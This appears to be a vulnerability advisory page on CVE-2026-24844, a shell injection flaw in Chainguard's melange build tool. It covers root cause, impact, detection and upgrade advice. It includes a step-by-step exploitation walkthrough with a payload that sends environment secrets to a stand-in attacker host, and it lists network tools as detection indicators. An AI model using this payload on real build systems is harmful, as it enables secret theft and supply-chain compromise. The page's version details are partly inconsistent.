CVE-2026-24844: 
NixOS vulnerability analysis and mitigation

CVE-2026-24844 is an OS command injection vulnerability in Chainguard's melange, a tool for building APK packages using declarative pipelines. An attacker who can supply build input values (but cannot modify pipeline definitions) can execute arbitrary shell commands when the pipeline uses ${{vars.*}} or ${{inputs.*}} substitutions in the working-directory field, because those values are embedded into shell scripts without proper quote escaping. The vulnerability affects melange versions 0.3.0 through 0.40.5 (patched in 0.40.3/0.40.6) and was disclosed on February 3, 2026. It carries a CVSS v3.1 score of 7.9–8.8 (High), depending on the scoring source (GitHub Advisory, Feedly).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). When melange processes pipeline steps, it constructs /bin/sh -c scripts that embed the working-directory value directly — wrapped in single quotes — without escaping single-quote characters within the value itself. An attacker can break out of the single-quote context using a payload such as x'$(malicious_command)'x, causing the shell to execute the injected command. Three injection points were identified and fixed: buildEvalRunCommand (workdir in pipeline.go), the debug shell workdir (pipeline.go), and the setfattr path in build.go. The fix replaces manual quoting with the go-shellquote library (shellquote.Join()) to robustly escape all shell metacharacters (GitHub Commit, GitHub Advisory).

Successful exploitation allows an attacker with low-privilege build input access to execute arbitrary shell commands within the build environment, resulting in high confidentiality and integrity impact with a changed scope. Practical consequences include exfiltration of environment variables and secrets (e.g., GCS pre-signed URLs, API keys), injection of malicious content into build artifacts, reverse shell establishment, and potential supply chain compromise of downstream APK packages. Availability impact is rated None in the GitHub advisory scoring, though full build system compromise is possible (GitHub Advisory, Feedly).

No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.012% (2nd percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires local access and low privileges, but the attack complexity is low once an attacker has the ability to supply build input values (GitHub Advisory, Feedly).

1. Identify a target: Locate a CI/CD pipeline or build system running melange versions 0.3.0–0.40.5 where the pipeline YAML uses ${{vars.*}} or ${{inputs.*}} substitutions in the working-directory field.
2. Gain build input access: Obtain the ability to supply build input values (e.g., via a pull request, a build trigger parameter, or a shared variable store) without needing to modify the pipeline definition itself.
3. Craft a malicious working-directory value: Provide a value that breaks out of the single-quote context used in the generated shell script. Example payload: x'$(curl -X POST https://attacker.com/exfil -d "$(env)")' x — the single quote terminates the quoted string, and $(...) triggers command substitution.
4. Trigger the build: Initiate a build that causes melange to process the pipeline step containing the malicious working-directory value, causing the injected command to execute within the /bin/sh -c script.
5. Achieve objective: The injected command runs in the build environment with the privileges of the melange process, enabling secrets exfiltration, artifact tampering, reverse shell establishment, or other malicious actions (GitHub Advisory, GitHub Commit).

• Logs: Build logs containing unexpected shell command output (e.g., HTTP responses, environment variable dumps) interleaved with normal build output; error messages from unrecognized commands in the working-directory context.
• Network: Outbound HTTP/HTTPS connections from the build host to unknown external IPs or domains (e.g., attacker.com) during a build step, particularly POST requests with encoded data.
• Process: Unexpected child processes spawned by the melange build process (e.g., curl, wget, nc, bash) with arguments referencing external hosts or writing to /tmp.
• File System: Unexpected files written to /tmp or the workspace directory (e.g., downloaded scripts, backdoor files); modifications to build output files (e.g., appended content to package manifests or binaries) (GitHub Advisory).

Upgrade melange to version 0.40.3 or later (the fix was released in 0.40.3 and consolidated in subsequent releases up to 0.40.6+). The fix applies proper shell escaping via the go-shellquote library at all three injection points. As an interim workaround, restrict build input access to trusted users only and audit all pipeline definitions that use ${{vars.*}} or ${{inputs.*}} substitutions in working-directory fields. Avoid accepting untrusted build input values until the patch is applied (GitHub Advisory, GitHub Commit).

The vulnerability was discovered and reported by Oleh Konko from 1seal, and Chainguard acknowledged the report promptly with a coordinated disclosure. The fix was developed by contributor egibs and reviewed by 89luca89 and eslerm. Coverage appeared on Bluesky via The Hacker Wire and was indexed by several vulnerability tracking platforms (Vulners, VulDB, CVEFeed). No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified (GitHub Advisory).